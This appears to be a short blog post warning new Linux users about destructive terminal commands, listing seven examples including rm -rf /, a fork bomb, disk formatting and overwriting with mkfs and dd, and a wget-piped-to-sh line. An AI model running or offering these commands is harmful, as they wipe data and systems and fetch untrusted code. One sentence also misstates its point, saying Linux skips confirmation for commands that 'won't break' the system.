Dangerous command in linux.

Linux’s terminal commands are powerful, and  the best part is Linux won’t ask you for confirmation if you run a command that won’t break your system. It’s not uncommon to see trolls online recommending new Linux users run these commands as a joke.

deadly linuxWhat started as a joke could end up being a deadly trap door for them

Here are few of the examples .1. rm -rf / – Deletes Everything!

2. : ( ) {  :  |   : & } ; :-It practically duplicates itself usually known as fork bomb.

3. mkfs.ext4 /dev/sda1 – Formats a Hard Drive.

4. command > /dev/sda – Writes Directly to a Hard Drive.

5. dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive.

6. mv ~ /dev/null – Moves Your Home Directory to a Black Hole.

7. wget http://example.com/something -O – | sh – Downloads and Runs a Script.

Being said that some commands will only be dangerous if they’re prefixed with sudo on Ubuntu – they won’t work otherwise. On other Linux distributions, most commands must be run as root.


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